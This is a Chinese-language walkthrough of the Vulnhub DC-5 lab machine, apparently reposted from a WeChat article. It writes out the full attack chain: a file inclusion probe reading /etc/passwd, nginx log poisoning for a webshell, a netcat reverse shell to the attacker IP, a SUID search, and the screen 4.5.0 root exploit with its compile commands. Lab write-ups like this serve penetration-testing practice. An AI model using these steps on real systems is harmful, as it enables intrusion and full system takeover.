> 本文由 [简悦 SimpRead](http://ksria.com/simpread/) 转码, 原文地址 [mp.weixin.qq.com](https://mp.weixin.qq.com/s/3cR0X3-YMdInt7zNjzxO8g)
说明:Vulnhub 是一个渗透测试实战网站,提供了许多带有漏洞的渗透测试靶机下载。适合初学者学习,实践。DC-5 全程只有一个 falg,获取 root 权限,以下内容是自身复现的过程,总结记录下来,如有不足请多多指教。
下载地址:
Download (Mirror):
https://download.vulnhub.com/dc/DC-5.zip
目标机 IP 地址:192.168.5.140
攻击机 kali IP 地址:192.168.5.135
arp-scan -l 发现目标 ip。
nmap 端口扫描,开发了 80 端口。
nmap -sV -p- 192.168.5.140
访问 80 端口。
观察到版权标识后的年份刷新后会发生变化,怀疑是该站点有文件包含漏洞,包含了某个文件,然后渲染到页面中。
爆破后得知该页面通过可控参数 file 来包含其他文件。
http://192.168.5.140/thankyou.php?file=/etc/passwd
确定存在文件包含漏洞。
/var/log/nginx/error.log Nginx 日志文件,将一句话写入到日志文件里。
写入一句话成功后,蚁剑链接。
反弹 shell。
nc -e /bin/bash 192.168.5.135 7777
并转换交互模式。
python -c 'import pty;pty.spawn("/bin/bash")'
查找一下可以用 root 权限运行的命令;
find / -perm -u=s -type f 2>/dev/null
发现 screen 4.5.0, screen 4.5.0 是由提权漏洞的,搜索利用方式。
搜索文件位置查看利用方式。
/usr/share/exploitdb/exploits/linux/local/41154.sh
chmod 777 41154.sh
重新设置文件格式。
:set:ff 回车
:set ff=unix
:wq
41154.sh 脚本中分三部分,将第一部分、第二部分的 c 语言代码抽离,独立保存,根据里面的提示进行编译。
将第一部分 C 语言代码保存到 libhax.c。
根据提示进行编译,编译后删除源文件。
gcc -fPIC -shared -ldl -o libhax.so libhax.c
把下面部分 c 语言代码也单独复制出来取文件名为 rootshell.c。
根据提示进行编译,编译后删除源文件。
gcc -o rootshell rootshell.c
将 41154.sh 进行修改,并且改名为 dc5.sh。
开启 ftp 服务:
apt-get install vsftpd
vsftpd 服务开启 ftp。
查看文件的权限。/tmp 下文件可任意读写,ftp 链接,将编译好的文件下载到本地 / tmp 下。
chmod +x dc5.sh 执行权限,然后执行。/dc5.sh 获取 root 权限。